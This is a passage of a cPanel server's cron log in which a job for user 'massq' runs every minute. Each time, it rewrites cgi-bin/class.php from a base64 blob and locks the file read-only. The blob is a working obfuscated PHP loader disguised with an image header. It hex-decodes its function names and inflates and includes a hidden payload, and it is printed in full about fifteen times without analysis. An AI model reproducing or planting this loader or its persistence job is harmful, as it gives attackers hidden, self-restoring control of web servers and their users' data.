O0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:58:01 server CROND[27871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:59:01 server CROND[27948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:59:01 server CROND[27949]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Apr  8 03:00:01 server CROND[28048]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:00:01 server CROND[28051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:00:01 server CROND[28053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:00:01 server CROND[28049]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 03:01:01 server CROND[28253]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 03:01:01 server CROND[28254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:01:01 server run-parts(/etc/cron.hourly)[28253]: starting 0anacron
Apr  8 03:01:01 server anacron[28267]: Anacron started on 2025-04-08
Apr  8 03:01:01 server anacron[28267]: Will run job `cron.daily' in 40 min.
Apr  8 03:01:01 server anacron[28267]: Jobs will be executed sequentially
Apr  8 03:01:01 server run-parts(/etc/cron.hourly)[28269]: finished 0anacron
Apr  8 03:02:01 server CROND[28363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:03:01 server CROND[28435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:04:01 server CROND[28510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:05:01 server CROND[28584]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 03:05:01 server CROND[28583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:05:01 server CROND[28585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:05:01 server CROND[28586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:06:01 server CROND[28809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:07:01 server CROND[28873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:08:01 server CROND[28943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:09:01 server CROND[29080]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 03:09:01 server CROND[29082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:10:01 server CROND[29178]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 03:10:01 server CROND[29179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:10:01 server CROND[29180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:10:01 server CROND[29181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
